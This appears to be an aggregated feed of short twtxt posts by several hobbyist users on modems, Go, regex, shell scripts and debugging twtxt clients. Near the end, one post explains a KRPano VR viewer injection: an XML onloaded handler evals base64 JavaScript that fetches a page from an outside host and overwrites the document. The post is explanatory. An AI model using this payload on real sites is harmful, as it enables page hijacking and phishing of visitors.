Current toy project: an image feed generated by mk(1). Still some edges to clean up but it’s nice: http://a.9srv.net/img/_readme.html

@nghialele@nghia.im Man, I wish I could watch Formula 1 on a regular basis again, but it has become expensive as fuck here. 🫤

This is my highlight, really, haven’t seen this in action in a loooooooong time:

Image

Image

Image

Maybe you’ll enjoy this as well:

I still have one of my first modems, a Creatix LC 144 VF:

I think this was the modem that I used when I first connected to the internet, but I’m not sure.

I plugged it in again and it still works:

The firmware appears to be from 1994, which sounds about right. I don’t think we had internet access before that. We certainly did use local mailboxes, though. (Or BBS’s, as you might call them.)

I now want to actually use that modem again. For the moment, I can only use a phone to dial into it, I lack a second modem to actually establish a connection. Here’s a video:

Not spectacular, but the modem does answer after me entering ATA.

I bought another cheap old modem on eBay and am now waiting for it to arrive. Once it’s here, I want to simulate an actual dial-up session, hopefully from OS/2 or Windows 3.x.

One of the nicest things about Go is the language itself, comparing Go to other popular languages in terms of the complexity to learn to be proficient in:

• Go: 25 keywords (Stack Overflow); CSP-style concurrency (goroutines & channels)
  
• Python 2: 30 keywords (TutorialsPoint); GIL-bound threads & multiprocessing (Wikipedia)
  
• Python 3: 35 keywords (Initial Commit); GIL-bound threads, asyncio & multiprocessing (Wikipedia, DEV Community)
  
• Java: 50 keywords (Stack Overflow); threads + java.util.concurrent (Wikipedia)
  
• C++: 82 keywords (Stack Overflow); std::thread, atomics & futures (en.cppreference.com)
  
• JavaScript: 38 keywords (Stack Overflow); single-threaded event loop & async/await, Web Workers (Wikipedia)
  
• Ruby: 42 keywords (Stack Overflow); GIL-bound threads (MRI), fibers & processes (Wikipedia)
  

This is one of my attempts:

$ go build ./cmd/xor/... && ./xor
Generation  95 | Fitness: 0.999964 | Nodes: 9   | Conns: 19
Target reached!

Best network performance:
  [0 0] → got=0 exp=0 (raw=0.000) ✅
  [0 1] → got=1 exp=1 (raw=0.990) ✅
  [1 0] → got=1 exp=1 (raw=0.716) ✅
  [1 1] → got=0 exp=0 (raw=0.045) ✅
Overall accuracy: 100.0%
Wrote best.dot – render with `dot -Tpng best.dot -o best.png`

Image

On my blog: Real Life in Star Trek, Descent, part 1 https://john.colagioia.net/blog/2025/05/15/descent-1.html #scifi #startrek #closereading

@bender@twtxt.net 5, 4, 3, 2, 1 🤣

@bender@twtxt.net Basically the way I’m reading this is 1 RPM. This is a rather aggressive rate limit actually. This basically makes Github inaccessible and useless for basically anything unless you’re logged in. You can basically kiss “pursuing” casually, anonymously goodbye.

Imagine if I imposed that kind of rate limit on twtxt.net?! 🤣

The album I got by accident is starting to grow on me. Not that bad. 🤔 It’s Dredg – El Cielo, btw: https://www.youtube.com/watch?v=e4JB8rmXaO8&list=PLRASiMqDV8psZSFQi7nUX4p0R8oRHbUy_&index=1

@bender@twtxt.net I’m not sure this is accurate, if you lookup mine:

$ whois shortcircuit.net.au 2>&1 | grep -i creat
created:      1986-03-05

I think this has to be the registrar’s creation date no? 🤔

And on a similar note, cross-post from Mastodon:

What I love about HTML and HTTP is that it can degrade rather gracefully on old browsers.

My website isn’t spectacular but I don’t think it looks horrible, either. And it’s still usable just fine all the way down to WfW 3.11:

• Some blog post in various browsers
  
• Git repo viewer (stagit)
  
• Older photos of WfW 3.11
  

It’s not perfect, but it’s usable. And that makes me happy. Almost 30 years of compatibilty.

The biggest sacrifice is probably that I don’t enforce TLS and that HTTP 1.0 has no Host: header, so no vhosts (or rather, everything must come from the default vhost). (Yes, some old browsers send Host:, even though they predate HTTP 1.1. Netscape does, but not IBM WebExplorer, for example.)

(On the other hand, it might completely suck on modern mobile devices. Dunno, I barely use those. 🤪)

@movq@www.uninformativ.de If we’re focusing on solving the “missing roots” problems. I would start to think about “client recommendations”. The first recommendation would be:

1. Replying to a Twt that has no initial Subject must itself have a Subject of the form (hash; url).
   

This way it’s a hint to fetching clients that follow B, but not A (in the case of no mentions) that the Subject/Root might (very likely) is in the feed url.

@eapl.me@eapl.me I honestly believe you are overreacting here a little bit 🤣 I completely emphasize with you, it can be pretty tough to feel part of a community at times and run a project with a kind of “democracy” or “vote by committee”. But one thing that life has taught me about open source projects and especially decentralised ecosystems is that this doesn’t really work.

It isn’t that I’ve not considered all the other options on the table (which can still be), it’s just that I’ve made a decision as the project lead that largely helped trigger a rebirth of the use of Twtxt back in July 1 2020. There are good reasons not to change the threading model right now, as the changes being proposed are quite disruptive and don’t consider all the possible things that could go wrong.

Can you automate the drawing with a script? On X11, you can:

#!/bin/sh

# Position the pointer at the center of the dot, then run this script.

sleep 1

start=$(xdotool getmouselocation --shell)
eval $start

r=400
steps=100
down=0

for step in $(seq $((steps + 1)) )
do
    # pi = 4 * atan(1)
    new_x=$(printf '%s + %s * c(%s / %s * 2 * (4 * a(1)))\n' $X $r $step $steps | bc -l)
    new_y=$(printf '%s + %s * s(%s / %s * 2 * (4 * a(1)))\n' $Y $r $step $steps | bc -l)

    xte "mousemove ${new_x%%.*} ${new_y%%.*}"
    if ! (( down ))
    then
        xte 'mousedown 1'
        down=1
    fi
done

xte 'mouseup 1'
xte "mousemove $X $Y"

Interestingly, you can abuse the scoring system (not manually, only with a script). Since the mouse jumps to the locations along the circle, you can just use very few steps and still get a great score because every step you make is very accurate – but the result looks funny:

🥴

On my blog: Free Culture Book Club — Pilogy, part 1 https://john.colagioia.net/blog/2025/04/26/pilogy-1.html #freeculture #bookclub

This is something for @movq@www.uninformativ.de and old OS hobbyists alike: FreeDOS 1.4! Get it while it’s hot!

Regex Isn’t Hard - Tim Kellogg 👈 this is a pretty good conscience article on regexes, and I agree, regex isn’t that hard™ – However I think I can make the TL;DR even shorter 😅

Regex core subset (portable across languages):

Character sets
• a matches “a”
• [a-z] any lowercase
• [a-zA-Z0-9] alphanumeric
• [^ab] any char but a or b

Repetition (applies to the preceding atom)
• ? zero or one
• * zero or more
• + one or more

Groups
• (ab)+ matches “ab”, “abab”, …
• Capture for extract/substitute via $1 or \1

Operators
• foo|bar = foo or bar
• ^ start anchor
• $ end anchor

Ignore non‑portable shortcuts: \w, ., {n}, *?, lookarounds.

#regex101

#event:abc123 RSVP: yes +1

Hmmm there’s a bug somewhere in the way I’m ingesting archived feeds 🤔

sqlite> select * from twts where content like 'The web is such garbage these days%';
      hash = 37sjhla
  feed_url = https://twtxt.net/user/prologic/twtxt.txt/1
   content = The web is such garbage these days 😔 Or is it the garbage search engines? 🤔
   created = 2024-11-14T01:53:46Z
created_dt = 2024-11-14 01:53:46
   subject = #37sjhla
  mentions = []
      tags = []
     links = []
sqlite>

@prologic@twtxt.net @bmallred@staystrong.run Ah, I just found this, didn’t see it before:

https://restic.net/#compatibility

So, yeah, they do use semver and, yes, they’re not at 1.0.0 yet, so things might break on the next restic update … but they “promise” to not break things too lightheartedly. Hm, well. 😅 Probably doesn’t make a big difference (they don’t say “don’t use this software until we reach 1.0.0”).

@prologic@twtxt.net This shi_ is as fun as it is frustrating! 😆 the bot is poking at me from a different ASN now, Alibaba’s.

1. Short term solution: I’ve geo-locked my Timeline instance since I’m the only one using it (and I only do so for reading twts when I’m away from terminal).
   
2. Long term: I took a look at your Caddy WAF but couldn’t figure things out on my own; until then, I’ll be poking at Caddy-Defender, maybe throw in a Crowdsec for lols… #FUN

@andros@twtxt.andros.dev how often do you send a private message on the Fediverse? How often do you send PGP/SMIME encrypted emails? Are there other tools that are more suitable for the task? If implementing direct/private messages on twtxt scratches an itch (you know, that hobbyist itch we all get from time to time), then don’t give up so easily. Worse comes to worse, and your feed becomes too noisy, people can simply unfollow/mute.

I really don’t care about direct messages here, but I might be on that bottom 1%!

Yeah same order of magnitude 👌 No relation mice other than the recent study that precisely measured the number of cells and connections in 1 cubic mm of brain tissue.

@prologic@twtxt.net I’m not sure if that’s an intended behaviour but twtxt.net’s home page doesn’t load more than 13 twts, no more pagination/infinite scrolling…

Page 1/1 of 13 Twts

OH wait! 😳 Why am I storing the timestamp as created = 2025-04-07T19:59:51Z ?! 😱 @movq@www.uninformativ.de’s feed shows:

2025-04-07T19:59:51+00:00	I wonder if my current Linux installation will actually make it to 20 years:

    $ head -n 1 /var/log/pacman.log
    [2011-07-07 11:19] installed filesystem (2011.04-1)

It’s not toooo far into the future.

It would be crazy … 20 years without reinstalling once … phew. 🥴

Hmmmm

@movq@www.uninformativ.de Not according to the output of ./yarnc debug <your feed url>:

znf6csa 2025-04-07T19:59:51+00:00	I wonder if my current Linux installation will actually make it to 20 years:

    $ head -n 1 /var/log/pacman.log
    [2011-07-07 11:19] installed filesystem (2011.04-1)

It’s not toooo far into the future.

It would be crazy … 20 years without reinstalling once … phew. 🥴

Doesn’t look like it Hmmm

sqlite> select * from twts where content LIKE '%Linux installation%';
    hash = znf6csa
feed_url = https://www.uninformativ.de/twtxt.txt
 content = I wonder if my current Linux installation will actually make it to 20 years:

    $ head -n 1 /var/log/pacman.log
    [2011-07-07 11:19] installed filesystem (2011.04-1)

It’s not toooo far into the future.

It would be crazy … 20 years without reinstalling once … phew. 🥴
 created = 2025-04-07T19:59:51Z
 subject = (#znf6csa)
mentions = []
    tags = []
   links = []

I wonder if my current Linux installation will actually make it to 20 years:

$ head -n 1 /var/log/pacman.log
[2011-07-07 11:19] installed filesystem (2011.04-1)

It’s not toooo far into the future.

It would be crazy … 20 years without reinstalling once … phew. 🥴

@prologic@twtxt.net, from IRC:

1. Saving preferences is failing. Specifically trying to save “Open Links” on the same window. For sure it isn’t happening. Check errors on browser’s console.
   
2. Search results pagination is broken. Search for “twtxt.net” and see it. Also, picking oldest/newest makes no difference on that search query.

So I re-write this shell alias that I used all the time alias dkv="docker rm" to be a much safer shell function:

dkv() {
  if [[ "$1" == "rm" && -n "$2" ]]; then
    read -r -p "Are you sure you want to delete volume '$2'? [Y/n] " confirm
    confirm=${confirm:-Y}
    if [[ "$confirm" =~ ^[Yy]$ ]]; then
      # Disable history
      set +o history

      # Delete the volume
      docker volume rm "$2"

      # Re-enable history
      set -o history
    else
      echo "Aborted."
    fi
  else
    docker volume "$@"
  fi
}

@movq@www.uninformativ.de Wow, I use Firefox and didn’t realize this existed! Thanks for pointing it out. I noticed at least one bug cited a webcompat.com report; I wonder if someone at Mozilla monitors those. https://webcompat.com/issues?page=1&per_page=50&state=open&stage=all&sort=created&direction=desc

On my blog: Free Culture Book Club — Nose Ears, part 1 https://john.colagioia.net/blog/2025/03/29/nose-ears-1.html #freeculture #bookclub

I need to import my yarn cache. It’s sitting at about 1.5G in registry format. That should make things interesting…

neat! my watcher is currently sitting at about 75 MB following over 1500 feeds. only about 200 are currently somewhat active.

-rw-r--r--. 1 xuu  xuu   69M Mar 25 20:46 twt.db
-rw-r--r--. 1 xuu  xuu   32K Mar 25 21:34 twt.db-shm
-rw-r--r--. 1 xuu  xuu  5.6M Mar 25 21:34 twt.db-wal

sqlite> select state, count(*) n from feeds group by 1;
hot|7
warm|8
cold|183
frozen|743
permanantly-dead|857

@andros@twtxt.andros.dev Can you reproduce any of this outside of your client? I can’t spot a mistake here:

$ curl -sI 'http://movq.de/v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:17 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd

$ curl -sI 'https://movq.de/v/8684c7d264/gimp11%2D1.png'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 131798
Content-Type: image/png
Date: Wed, 19 Mar 2025 19:53:19 GMT
Last-Modified: Wed, 19 Mar 2025 17:18:07 GMT
Server: OpenBSD httpd

$ telnet movq.de 80
Trying 185.162.249.140...
Connected to movq.de.
Escape character is '^]'.
HEAD /v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg HTTP/1.1
Host: movq.de
Connection: close

HTTP/1.1 200 OK
Connection: close
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:31 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd

Connection closed by foreign host.
$ 

GIMP 1.1 on SuSE 6.4 with good old GTK 1:

Chapter 1:
Chapter 2:

if you want a different voice let me know which to use: https://rhasspy.github.io/piper-samples/

On my blog: Real Life in Star Trek, Birthright, part 1 https://john.colagioia.net/blog/2025/03/06/birthright-1.html #scifi #startrek #closereading

For point 1 and others using the metadata tags. we have implemented them in yarnd as [lang=en][meta=data]

@andros@twtxt.andros.dev

• System Design Interview Vol. 1 and 2, Alex Xu and Sahn Lam
  
• Designing Data-Intensive Applications, Martin Kleppmann

And, Ramadan is next week. So, we switched to UTC from UTC+1 in the weekend. As if it’s going to make the days any shorter 😅

@eapl.me@eapl.me I can do that as soon as I get back home. Also, just in case you’ve missed it, Choice 1 is actually 4 different variations.

On my blog: Free Culture Book Club — Cairn Wardens Guide, part 1 https://john.colagioia.net/blog/2025/02/15/cairn-2.html #freeculture #bookclub

On my blog: Free Culture Book Club — Cairn Players Guide and Background https://john.colagioia.net/blog/2025/02/08/cairn-1.html #freeculture #bookclub

On my blog: Real Life in Star Trek, Chain of Command, Part 1 https://john.colagioia.net/blog/2025/01/23/chain-command-1.html #scifi #startrek #closereading

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

@prologic@twtxt.net I say we should find a way to support mentions with only url, no nick, as per the original spec.

• For @<nick url> we already got support
  
• For @<nick> the posting client should expand it to @<nick url>, if not then the reading client should just render it as @nick with no link.
  
• For @<url> the sending client should try to expand it to @<nick url>, if not then the reading client should try to find or construct a nick base on:
  
  1. Look in twtxt.txt for a nick =
     
  2. Use (sub)domain from URL
     
  3. Use folder or file name from URL

On my blog: Free Culture Book Club — Blood of the Ancient Star, part 1 https://john.colagioia.net/blog/2025/01/11/bloodstar-1.html #freeculture #bookclub